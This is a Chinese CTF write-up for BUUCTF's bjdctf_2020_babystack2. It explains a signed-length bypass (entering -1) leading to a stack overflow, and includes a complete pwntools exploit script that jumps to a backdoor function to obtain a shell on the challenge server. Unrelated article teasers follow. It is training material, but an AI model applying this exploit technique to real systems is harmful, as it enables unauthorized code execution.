news 2026/2/25 19:01:35

buuctf中的bjdctf_2020_babystack2

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的bjdctf_2020_babystack2

首先checksec检查一下保护机制:

-64位程序

-开启了栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现read函数可触发栈溢出,并且从左边发现存在后门函数,但是read读取的长度受到nbytes这个变量的限制,发现这个变量的数据类型在下面被转化为unsigned int即无符号整数类型,当我们将-1转化为unsigned int类型时,会变成unsigned int的最大值,所以在上面我们只需要输入-1即可在下面触发栈溢出,这里顺便算出偏移量为:0x10+0x8 = 24

backdoor函数内部:

拿到backdoor函数地址:0x400726

然后编写exp攻击脚本:

from pwn import * context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',28893) # 与在线环境交互。 backdoor = 0x400726 offset = 0x10 + 0x8 io.recvuntil(b'[+]Please input the length of your name:\n') io.sendline(b'-1') io.recvuntil(b'[+]What\'s u name?\n') payload = b'a'*offset + p64(backdoor) io.sendline(payload) io.interactive()

这是运行结果:

拿到shell后手动输入cat flag即可

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/24 0:34:54

Python金融数据利器:mootdx通达信数据读取完整指南

mootdx是一款基于Python的开源工具,专门用于读取通达信金融数据。无论你是金融数据分析新手还是量化交易爱好者,mootdx都能为你提供简单高效的解决方案,让复杂的金融数据处理变得触手可及。 【免费下载链接】mootdx 通达信数据读取的一个简便…

作者头像 李华
网站建设 2026/2/25 0:04:56

如何快速获取中国行政区划数据:从新手到专家的完整指南

中国行政区划数据是地理信息系统(GIS)应用中的基础数据,对于学术研究、商业分析和政府规划都具有重要价值。ChinaAdminDivisonSHP项目提供了完整的四级行政区划矢量数据,采用ESRI Shapefile格式,包含国家、省、市、区/…

作者头像 李华
网站建设 2026/2/22 13:03:05

鸣潮自动化神器:3分钟教会你解放双手的智能游戏助手

鸣潮自动化神器:3分钟教会你解放双手的智能游戏助手 【免费下载链接】ok-wuthering-waves 鸣潮 后台自动战斗 自动刷声骸上锁合成 自动肉鸽 Automation for Wuthering Waves 项目地址: https://gitcode.com/GitHub_Trending/ok/ok-wuthering-waves 还在为重复…

作者头像 李华
网站建设 2026/2/25 11:45:02

RMT驱动在ESP-IDF中的高级应用技巧

玩转ESP32的“脉冲引擎”:RMT驱动的实战进阶指南你有没有遇到过这种情况?想用ESP32控制一串WS2812灯带,结果发现颜色乱跳、动画卡顿;或者调试红外遥控时,信号发出去了却总被电视“无视”。问题可能不在于代码逻辑&…

作者头像 李华
网站建设 2026/2/24 15:28:26

胎牛血清常见问题解答

根据牛出生时间和血清采制分离方法,血清一般分为胎牛血清、新生牛血清和小牛血清。胎牛血清(Fetal Bovine Serum, FBS)一般为八月龄胎牛心脏穿刺取血再经热灭活、透析、过滤除菌后制成,是一种外观浅黄色、无溶血、无异物略粘稠液体…

作者头像 李华
网站建设 2026/2/24 10:31:00

WorkshopDL:解锁Steam创意工坊的跨平台下载神器

WorkshopDL:解锁Steam创意工坊的跨平台下载神器 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 还在为Epic平台无法访问Steam创意工坊而烦恼?WorkshopDL…

作者头像 李华